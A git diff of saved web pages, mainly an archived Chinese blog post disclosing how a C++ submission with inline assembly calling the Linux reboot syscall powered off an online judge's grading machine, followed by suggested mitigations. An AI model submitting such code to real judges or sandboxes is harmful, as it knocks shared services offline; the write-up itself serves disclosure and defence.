\346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-da7d9e4b6a7ddba507299bcf5a4d0600_1440w.png" new file mode 100644 index 0000000..d64a8c4 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-da7d9e4b6a7ddba507299bcf5a4d0600_1440w.png" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/vendor.js" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/vendor.js" new file mode 100644 index 0000000..7e5c7ac --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/vendor.js" @@ -0,0 +1,56 @@ +var vendor_f04deb6fd8cc3116a458=function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=192)}([function(e,t,n){e.exports=n(199)()},function(e,t,n){"use strict";e.exports=n(193)},function(e,t,n){var r=n(3),o=n(42).f,i=n(24),u=n(21),a=n(102),c=n(149),l=n(109);e.exports=function(e,t){var n,s,f,p,d,h=e.target,v=e.global,m=e.stat;if(n=v?r:m?r[h]||a(h,{}):(r[h]||{}).prototype)for(s in t){if(p=t[s],f=e.noTargetGet?(d=o(n,s))&&d.value:n[s],!l(v?s:h+(m?".":"#")+s,e.forced)&&void 0!==f){if(typeof p==typeof f)continue;c(p,f)}(e.sham||f&&f.sham)&&i(p,"sham",!0),u(n,s,p,e)}}},function(e,t,n){(function(t){var n=function(e){return e&&e.Math==Math&&e};e.exports=n("object"==typeof globalThis&&globalThis)||n("object"==typeof window&&window)||n("object"==typeof self&&self)||n("object"==typeof t&&t)||function(){return this}()||Function("return this")()}).call(this,n(97))},function(e,t,n){"use strict";e.exports=function(e,t,n,r,o,i,u,a){if(!e){var c;if(void 0===t)c=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var l=[n,r,o,i,u,a],s=0;(c=new Error(t.replace(/%s/g,(function(){return l[s++]})))).name="Invariant Violation"}throw c.framesToPop=1,c}}},function(e,t,n){var r=n(3),o=n(105),i=n(9),u=n(70),a=n(111),c=n(153),l=o("wks"),s=r.Symbol,f=c?s:s&&s.withoutSetter||u;e.exports=function(e){return i(l,e)||(a&&i(s,e)?l[e]=s[e]:l[e]=f("Symbol."+e)),l[e]}},function(e,t){e.exports=function(e){return"object"==typeof e?null!==e:"function"==typeof e}},function(e,t,n){"use strict";n.r(t),n.d(t,"isReactChildren",(function(){return a})),n.d(t,"createRouteFromReactElement",(function(){return c})),n.d(t,"createRoutesFromReactChildren",(function(){return l})),n.d(t,"createRoutes",(function(){return s}));var r=n(1),o=n.n(r),i=Object.assign||function(e){for(var t=1;t should not have a "'+t+'" prop')}var i=Object(r.shape)({listen:r.func.isRequired,push:r.func.isRequired,replace:r.func.isRequired,go:r.func.isRequired,goBack:r.func.isRequired,goForward:r.func.isRequired}),u=r.elementType,a=Object(r.oneOfType)([u,r.object]),c=Object(r.oneOfType)([r.object,r.element]),l=Object(r.oneOfType)([c,Object(r.arrayOf)(c)])},function(e,t,n){var r=n(6);e.exports=function(e){if(!r(e))throw TypeError(String(e)+" is not an object");return e}},function(e,t,n){var r=n(12),o=n(9),i=n(170),u=n(18).f;e.exports=function(e){var t=r.Symbol||(r.Symbol={});o(t,e)||u(t,e,{value:i.f(e)})}},function(e,t,n){var r=n(11);e.exports=!r((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},function(e,t,n){"use strict";n.r(t),n.d(t,"compilePattern",(function(){return a})),n.d(t,"matchPattern",(function(){return c})),n.d(t,"getParamNames",(function(){return l})),n.d(t,"getParams",(function(){return s})),n.d(t,"formatPattern",(function(){return f}));var r=n(4),o=n.n(r);function i(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}var u=Object.create(null);function a(e){return u[e]||(u[e]=function(e){for(var t="",n=[],r=[],o=void 0,u=0,a=/:([a-zA-Z_$][a-zA-Z0-9_$]*)|\*\*|\*|\(|\)|\\\(|\\\)/g;o=a.exec(e);)o.index!==u&&(r.push(e.slice(u,o.index)),t+=i(e.slice(u,o.index))),o[1]?(t+="([^/]+)",n.push(o[1])):"**"===o[0]?(t+="(.*)",n.push("splat")):"*"===o[0]?(t+="(.*?)",n.push("splat")):"("===o[0]?t+="(?:":")"===o[0]?t+=")?":"\\("===o[0]?t+="\\(":"\\)"===o[0]&&(t+="\\)"),r.push(o[0]),u=a.lastIndex;return u!==e.length&&(r.push(e.slice(u,e.length)),t+=i(e.slice(u,e.length))),{pattern:e,regexpSource:t,paramNames:n,tokens:r}}(e)),u[e]}function c(e,t){"/"!==e.charAt(0)&&(e="/"+e);var n=a(e),r=n.regexpSource,o=n.paramNames,i=n.tokens;"/"!==e.charAt(e.length-1)&&(r+="/?"),"*"===i[i.length-1]&&(r+="$");var u=t.match(new RegExp("^"+r,"i"));if(null==u)return null;var c=u[0],l=t.substr(c.length);if(l){if("/"!==c.charAt(c.length-1))return null;l="/"+l}return{remainingPathname:l,paramNames:o,paramValues:u.slice(1).map((function(e){return e&&decodeURIComponent(e)}))}}function l(e){return a(e).paramNames}function s(e,t){var n=c(e,t);if(!n)return null;var r=n.paramNames,o=n.paramValues,i={};return r.forEach((function(e,t){i[e]=o[t]})),i}function f(e,t){t=t||{};for(var n=a(e).tokens,r=0,i="",u=0,c=[],l=void 0,s=void 0,f=0,p=n.length;f0||o()(!1),null!=s&&(i+=encodeURI(s));else if("("===l)c[r]="",r+=1;else if(")"===l){var d=c.pop();(r-=1)?c[r-1]+=d:i+=d}else if("\\("===l)i+="(";else if("\\)"===l)i+=")";else if(":"===l.charAt(0))if(null!=(s=t[l.substring(1)])||r>0||o()(!1),null==s){if(r){c[r-1]="";for(var h=n.indexOf(l),v=n.slice(h,n.length),m=-1,y=0;y0||o()(!1),f=h+m-1}}else r?c[r-1]+=encodeURIComponent(s):i+=encodeURIComponent(s);else r?c[r-1]+=l:i+=l;return r<=0||o()(!1),i.replace(/\/+/g,"/")}},function(e,t,n){var r=n(16),o=n(147),i=n(14),u=n(68),a=Object.defineProperty;t.f=r?a:function(e,t,n){if(i(e),t=u(t,!0),i(n),o)try{return a(e,t,n)}catch(e){}if("get"in n||"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(e[t]=n.value),e}},function(e,t,n){var r=n(54),o=Math.min;e.exports=function(e){return e>0?o(r(e),9007199254740991):0}},function(e,t,n){var r=n(3),o=n(31),i=Function.call;e.exports=function(e,t,n){return o(i,r[e].prototype[t],n)}},function(e,t,n){var r=n(3),o=n(24),i=n(9),u=n(102),a=n(103),c=n(22),l=c.get,s=c.enforce,f=String(String).split("String");(e.exports=function(e,t,n,a){var c,l=!!a&&!!a.unsafe,p=!!a&&!!a.enumerable,d=!!a&&!!a.noTargetGet;"function"==typeof n&&("string"!=typeof t||i(n,"name")||o(n,"name",t),(c=s(n)).source||(c.source=f.join("string"==typeof t?t:""))),e!==r?(l?!d&&e[t]&&(p=!0):delete e[t],p?e[t]=n:o(e,t,n)):p?e[t]=n:u(t,n)})(Function.prototype,"toString",(function(){return"function"==typeof this&&l(this).source||a(this)}))},function(e,t,n){var r,o,i,u=n(148),a=n(3),c=n(6),l=n(24),s=n(9),f=n(104),p=n(69),d=n(53),h=a.WeakMap;if(u){var v=f.state||(f.state=new h),m=v.get,y=v.has,g=v.set;r=function(e,t){return t.facade=e,g.call(v,e,t),t},o=function(e){return m.call(v,e)||{}},i=function(e){return y.call(v,e)}}else{var b=p("state");d[b]=!0,r=function(e,t){return t.facade=e,l(e,b,t),t},o=function(e){return s(e,b)?e[b]:{}},i=function(e){return s(e,b)}}e.exports={set:r,get:o,has:i,enforce:function(e){return i(e)?o(e):r(e,{})},getterFor:function(e){return function(t){var n;if(!c(t)||(n=o(t)).type!==e)throw TypeError("Incompatible receiver, "+e+" required");return n}}}},function(e,t,n){var r=n(18).f,o=n(9),i=n(5)("toStringTag");e.exports=function(e,t,n){e&&!o(e=n?e:e.prototype,i)&&r(e,i,{configurable:!0,value:t})}},function(e,t,n){var r=n(16),o=n(18),i=n(35);e.exports=r?function(e,t,n){return o.f(e,t,i(1,n))}:function(e,t,n){return e[t]=n,e}},function(e,t){e.exports=!1},function(e,t,n){var r=n(12),o=n(3),i=function(e){return"function"==typeof e?e:void 0};e.exports=function(e,t){return arguments.length<2?i(r[e])||i(o[e]):r[e]&&r[e][t]||o[e]&&o[e][t]}},function(e,t,n){"use strict";e.exports=function(){}},function(e,t,n){"use strict";function r(){return(r=Object.assign||function(e){for(var t=1;tp;p++)if((h=S(e[p]))&&h instanceof l)return h;return new l(!1)}s=f.call(e)}for(v=s.next;!(m=v.call(s)).done;){try{h=S(m.value)}catch(e){throw c(s),e}if("object"==typeof h&&h&&h instanceof l)return h}return new l(!1)}},function(e,t,n){"use strict";n.r(t),n.d(t,"routerShape",(function(){return o})),n.d(t,"locationShape",(function(){return i}));var r=n(0),o=Object(r.shape)({push:r.func.isRequired,replace:r.func.isRequired,go:r.func.isRequired,goBack:r.func.isRequired,goForward:r.func.isRequired,setRouteLeaveHook:r.func.isRequired,isActive:r.func.isRequired}),i=Object(r.shape)({pathname:r.string.isRequired,search:r.string.isRequired,state:r.object,action:r.string.isRequired,key:r.string})},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){var r=n(100),o=n(30);e.exports=function(e){return r(o(e))}},function(e,t,n){"use strict";function r(e,t,n){var r=0,o=!1,i=!1,u=!1,a=void 0;function c(){o=!0,i?a=[].concat(Array.prototype.slice.call(arguments)):n.apply(this,arguments)}!function l(){if(!o&&(u=!0,!i)){for(i=!0;!o&&r=e&&u&&(o=!0,n())}}()}function o(e,t,n){var r=e.length,o=[];if(0===r)return n(null,o);var i=!1,u=0;e.forEach((function(e,a){t(e,a,(function(e,t){!function(e,t,a){i||(t?(i=!0,n(t)):(o[e]=a,(i=++u===r)&&n(null,o)))}(a,e,t)}))}))}n.r(t),n.d(t,"loopAsync",(function(){return r})),n.d(t,"mapAsync",(function(){return o}))},function(e,t,n){"use strict";function r(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r=0||(o[n]=e[n]);return o}n.r(t),n.d(t,"default",(function(){return r}))},function(e,t,n){"use strict";n.r(t),n.d(t,"wrapMapToPropsConstant",(function(){return r})),n.d(t,"getDependsOnOwnProps",(function(){return o})),n.d(t,"wrapMapToPropsFunc",(function(){return i}));n(146);function r(e){return function(t,n){var r=e(t,n);function o(){return r}return o.dependsOnOwnProps=!1,o}}function o(e){return null!==e.dependsOnOwnProps&&void 0!==e.dependsOnOwnProps?Boolean(e.dependsOnOwnProps):1!==e.length}function i(e,t){return function(t,n){n.displayName;var r=function(e,t){return r.dependsOnOwnProps?r.mapToProps(e,t):r.mapToProps(e)};return r.dependsOnOwnProps=!0,r.mapToProps=function(t,n){r.mapToProps=e,r.dependsOnOwnProps=o(e);var i=r(t,n);return"function"==typeof i&&(r.mapToProps=i,r.dependsOnOwnProps=o(i),i=r(t,n)),i},r}}},function(e,t,n){"use strict";n.r(t),n.d(t,"default",(function(){return u})),n.d(t,"_resetWarned",(function(){return a}));var r=n(27),o=n.n(r),i={};function u(e,t){if(-1!==t.indexOf("deprecated")){if(i[t])return;i[t]=!0}t="[react-router] "+t;for(var n=arguments.length,r=Array(n>2?n-2:0),u=2;u0&&void 0!==arguments[0]?arguments[0]:"/",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:a.POP,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,r="string"==typeof e?(0,u.parsePath)(e):e,o=r.pathname||"/",i=r.search||"",c=r.hash||"",l=r.state;return{pathname:o,search:i,hash:c,state:l,action:t,key:n}};var l=function(e){return"[object Date]"===Object.prototype.toString.call(e)},s=t.statesAreEqual=function e(t,n){if(t===n)return!0;var o=void 0===t?"undefined":r(t);if(o!==(void 0===n?"undefined":r(n)))return!1;if("function"===o&&(0,i.default)(!1),"object"===o){if(l(t)&&l(n)&&(0,i.default)(!1),!Array.isArray(t)){var u=Object.keys(t),a=Object.keys(n);return u.length===a.length&&u.every((function(r){return e(t[r],n[r])}))}return Array.isArray(n)&&t.length===n.length&&t.every((function(t,r){return e(t,n[r])}))}return!1};t.locationsAreEqual=function(e,t){return e.key===t.key&&e.pathname===t.pathname&&e.search===t.search&&e.hash===t.hash&&s(e.state,t.state)}},function(e,t,n){var r=n(16),o=n(67),i=n(35),u=n(36),a=n(68),c=n(9),l=n(147),s=Object.getOwnPropertyDescriptor;t.f=r?s:function(e,t){if(e=u(e),t=a(t,!0),l)try{return s(e,t)}catch(e){}if(c(e,t))return i(!o.f.call(e,t),e[t])}},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(String(e)+" is not a function");return e}},function(e,t,n){var r=n(5),o=n(45),i=n(18),u=r("unscopables"),a=Array.prototype;null==a[u]&&i.f(a,u,{configurable:!0,value:o(null)}),e.exports=function(e){a[u][e]=!0}},function(e,t,n){var r,o=n(14),i=n(156),u=n(107),a=n(53),c=n(157),l=n(101),s=n(69),f=s("IE_PROTO"),p=function(){},d=function(e){return" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + +
+ +
+ +
+ + + + + + + + + +
+
+ +
+ + +

imwxz

某OJ系统恶意代码执行漏洞
+今天刚刚测试发现某OJ系统存在恶意代码执行漏洞,鉴于其危害性,本人将在管理员修复漏洞后公开细节。 +
扫描右侧二维码阅读全文
24
2017/10
+ +
+

某OJ系统恶意代码执行漏洞

+ +
+
+ +
+
+ + +
+ +

+ +本帖所包含的内容仅限技术交流和学习研究使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关! +

+

今天刚刚测试发现某OJ系统存在恶意代码执行漏洞,鉴于其危害性,本人将在管理员修复漏洞后公开细节。

+ +
    +
  • 目标:某OJ评测系统评测机
  • +
  • 目的:卡死评测机或瘫痪整个服务器
  • +
  • 严重性:紧急
  • +
+
+

0x01:试探

+

由于OJ都设置了TLE时间,因此试图通过死循环之类程序中的时间占用卡死评测机是不可能的,但是编译时间一般没有限制,因此我们先从编译入手,来尝试

+
#include <con>
+

这个常见的坑爹代码。
+很不幸,结果CE了,File not find,看来管理员对这个还是有一定了解,提前删掉了这个文件。
+然后就是常见的文件操作,更不幸,作者在此项目的开源wiki上已经说明

+
+

一切企图读入服务器上其他文件的请求将被评测系统拒绝

+
+

那我就不费那个功夫了……

+

0x02:BUG出现

+

原本打算通过写一大堆模板增加编译时间,不过考虑到有提交大小限制也没什么可能实现,那么我们可不可以通过执行恶意代码来干掉评测机呢?
+C/C++中有一个比较少用的特性,就是可以使用asm关键字直接在程序中插入汇编代码,刚好之前看逆向的时候看到过一个有趣的Linux汇编断电代码,扔到这里来试试。

+
int main(){
+    __asm{
+    mov 0x4321fedc,edx
+    mov 0x5121996,ecx
+    mov 0xfee1dead,ebx
+    mov 0x58,eax
+    int 0x80
+    }
+    return 0;
+}
+

提交!蛤?CE了??唔……这不科学啊,就算被屏蔽掉也不会是CE啊……错误信息:

+
error: expected '(' before '{' token __asm{
+

这个似乎表明g++并不支持这个关键字……好吧,VS用多了……我改!

+
int main(){
+    __asm__("movl $0x4321FEDC,%edx");
+    __asm__("movl $85072278,%ecx");
+    __asm__("movl $0xfee1dead,%ebx");
+    __asm__("movl $88,%eax");
+    __asm__("int $0x80");
+    return 0;
+}
+

提交!哈!成功地把OJ卡到了【正在评测】状态,看来评测机已经被断电了吧O(∩_∩)O
+这个OJ还没有并行处理,不一会儿就刷出了一片等待评测……
+至此成功将评测机断电~

+

0x03:解决方法

+
    +
  1. 评测机一定要和web隔离,这样出了事情也好通告
  2. +
  3. 敏感关键词提交时就要进行过滤,确保大部分恶意代码不会混进去
  4. +
  5. 评测环境的权限设置要规范,最好只给编译的程序最小运行权限
  6. +
  7. 编译环境隔离是最好的解决办法,整个虚拟机,到时候真出事了直接恢复快照
  8. +
+ + +
+ + 最后修改:2019 年 07 月 06 日 01 : 49 AM +
+
+ + +
+ +
+ 如果觉得我的文章对你有用,请随意赞赏 +
+
+ + +
+
+
+ + + + + + +
+ + + + +
+ +

发表评论 + + + +

+
+ +
+ + +
+ +
OwO
+
    +
  • OωO
  • +
  • |´・ω・)ノ
  • +
  • ヾ(≧∇≦*)ゝ
  • +
  • (☆ω☆)
  • +
  • (╯‵□′)╯︵┴─┴
  • +
  •  ̄﹃ ̄
  • +
  • (/ω\)
  • +
  • ∠( ᐛ 」∠)_
  • +
  • (๑•̀ㅁ•́ฅ)
  • +
  • →_→
  • +
  • ୧(๑•̀⌄•́๑)૭
  • +
  • ٩(ˊᗜˋ*)و
  • +
  • (ノ°ο°)ノ
  • +
  • (´இ皿இ`)
  • +
  • ⌇●﹏●⌇
  • +
  • (ฅ´ω`ฅ)
  • +
  • (╯°A°)╯︵○○○
  • +
  • φ( ̄∇ ̄o)
  • +
  • ヾ(´・ ・`。)ノ"
  • +
  • ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
  • +
  • (ó﹏ò。)
  • +
  • Σ(っ °Д °;)っ
  • +
  • ( ,,´・ω・)ノ"(´っω・`。)
  • +
  • ╮(╯▽╰)╭
  • +
  • o(*////▽////*)q
  • +
  • >﹏<
  • +
  • ( ๑´•ω•) "(ㆆᴗㆆ)
  • +
  • (。•ˇ‸ˇ•。)
  • +
+
    +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
  • +
+
+
    +
  • 颜文字
  • +
  • 泡泡
  • +
+
+
+
+
+ +
+ +
+
+
+ +
+
+ +
+ + + + +
+
+ + + +
+ +
+ + + + +
+
+
+ +
+ + +
+
+ + + +
+
+ + + + + +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/1.jpg" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/1.jpg" new file mode 100644 index 0000000..c448d31 Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/1.jpg" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/10.jpg" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/10.jpg" new file mode 100644 index 0000000..00ac78e Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/10.jpg" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/16629013858937311.jpg" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/16629013858937311.jpg" new file mode 100644 index 0000000..5d67964 Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/16629013858937311.jpg" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/2.jpg" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/2.jpg" new file mode 100644 index 0000000..114b94b Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/2.jpg" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/3.jpg" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/3.jpg" new file mode 100644 index 0000000..e848050 Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/3.jpg" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/4.jpg" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/4.jpg" new file mode 100644 index 0000000..9539799 Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/4.jpg" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/GetCode.png" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/GetCode.png" new file mode 100644 index 0000000..8290159 Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/GetCode.png" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/analytics.js" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/analytics.js" new file mode 100644 index 0000000..aea0e99 --- /dev/null +++ "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/analytics.js" @@ -0,0 +1,94 @@ +(function(){/* + + Copyright The Closure Library Authors. + SPDX-License-Identifier: Apache-2.0 +*/ +var n=this||self,p=function(a,b){a=a.split(".");var c=n;a[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length||void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};var q={},r=function(){q.TAGGING=q.TAGGING||[];q.TAGGING[1]=!0};var t=function(a,b){for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c])},v=function(a){for(var b in a)if(a.hasOwnProperty(b))return!0;return!1};var x=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;var y=window,z=document,A=function(a,b){z.addEventListener?z.addEventListener(a,b,!1):z.attachEvent&&z.attachEvent("on"+a,b)};var B=/:[0-9]+$/,C=function(a,b,c){a=a.split("&");for(var d=0;dd?a.href:a.href.substr(0,d));a=d;break;case "protocol":a=f;break;case "host":a=a.hostname.replace(B,"").toLowerCase();c&&(d=/^www\d*\./.exec(a))&&d[0]&&(a=a.substr(d[0].length));break;case "port":a=String(Number(a.port)||("http"==f?80:"https"==f?443:""));break;case "path":a.pathname|| +a.hostname||r();a="/"==a.pathname.substr(0,1)?a.pathname:"/"+a.pathname;a=a.split("/");a:if(d=d||[],c=a[a.length-1],Array.prototype.indexOf)d=d.indexOf(c),d="number"==typeof d?d:-1;else{for(e=0;e>4);64!=g&&(c+=String.fromCharCode(f<<4&240|g>>2),64!=h&&(c+=String.fromCharCode(g<<6&192|h)))}};var L;var N=function(){var a=ba,b=ca,c=M(),d=function(g){a(g.target||g.srcElement||{})},e=function(g){b(g.target||g.srcElement||{})};if(!c.init){A("mousedown",d);A("keyup",d);A("submit",e);var f=HTMLFormElement.prototype.submit;HTMLFormElement.prototype.submit=function(){b(this);f.call(this)};c.init=!0}},O=function(a,b,c,d,e){a={callback:a,domains:b,fragment:2===c,placement:c,forms:d,sameHost:e};M().decorators.push(a)},P=function(a,b,c){for(var d=M().decorators,e={},f=0;f>2;l=(l&3)<<4|u>>4;u=(u&15)<<2|w>>6;w&=63;m||(w=64,k||(u=64));g.push(I[fa],I[l],I[u],I[w])}f.call(e,g.join(""))}}a=b.join("*");return["1",R(a),a].join("*")},R=function(a, +b){a=[window.navigator.userAgent,(new Date).getTimezoneOffset(),window.navigator.userLanguage||window.navigator.language,Math.floor((new Date).getTime()/60/1E3)-(void 0===b?0:b),a].join("*");if(!(b=L)){b=Array(256);for(var c=0;256>c;c++){for(var d=c,e=0;8>e;e++)d=d&1?d>>>1^3988292384:d>>>1;b[c]=d}}L=b;b=4294967295;for(c=0;c>>8^L[(b^a.charCodeAt(c))&255];return((b^-1)>>>0).toString(36)},ia=function(a){return function(b){var c=G(y.location.href),d=c.search.replace("?","");var e=C(d, +"_gl",!0);b.query=T(e||"")||{};e=F(c,"fragment");var f=e.match(Q("_gl"));b.fragment=T(f&&f[3]||"")||{};a&&ha(c,d,e)}};function U(a,b){if(a=Q(a).exec(b)){var c=a[2],d=a[4];b=a[1];d&&(b=b+c+d)}return b} +var ha=function(a,b,c){function d(f,g){f=U("_gl",f);f.length&&(f=g+f);return f}if(y.history&&y.history.replaceState){var e=Q("_gl");if(e.test(b)||e.test(c))a=F(a,"path"),b=d(b,"?"),c=d(c,"#"),y.history.replaceState({},void 0,""+a+b+c)}},T=function(a){var b=void 0===b?3:b;try{if(a){a:{for(var c=0;3>c;++c){var d=da.exec(a);if(d){var e=d;break a}a=decodeURIComponent(a)}e=void 0}if(e&&"1"===e[1]){var f=e[2],g=e[3];a:{for(e=0;e>21:b}return b};/* + + Copyright The Closure Library Authors. + SPDX-License-Identifier: Apache-2.0 +*/ +var $c=function(a){this.C=a||[]};$c.prototype.set=function(a){this.C[a]=!0};$c.prototype.encode=function(){for(var a=[],b=0;b\x3c/script>'))):(c=M.createElement("script"),c.type="text/javascript",c.async=!0,c.src=ff.createScriptURL(a),d&&(c.onload=d),e&&(c.onerror=e),b&&(c.id=b),g&&c.setAttribute("nonce", +g),a=M.getElementsByTagName("script")[0],a.parentNode.insertBefore(c,a))}},be=function(a,b){return E(M.location[b?"href":"search"],a)},E=function(a,b){return(a=a.match("(?:&|#|\\?)"+K(b).replace(/([.*+?^=!:${}()|\[\]\/\\])/g,"\\$1")+"=([^&#]*)"))&&2==a.length?a[1]:""},xa=function(){var a=""+M.location.hostname;return 0==a.indexOf("www.")?a.substring(4):a},de=function(a,b){var c=a.indexOf(b);if(5==c||6==c)if(a=a.charAt(c+b.length),"/"==a||"?"==a||""==a||":"==a)return!0;return!1},za=function(a,b){if(1== +b.length&&null!=b[0]&&"object"===typeof b[0])return b[0];for(var c={},d=Math.min(a.length+1,b.length),e=0;eg.length||!c&&3!==g.length)a&&(a.na=!0);else if(Number(g[1])){d[b[e].ja]?a&&(a.pa=!0):d[b[e].ja]=[];var 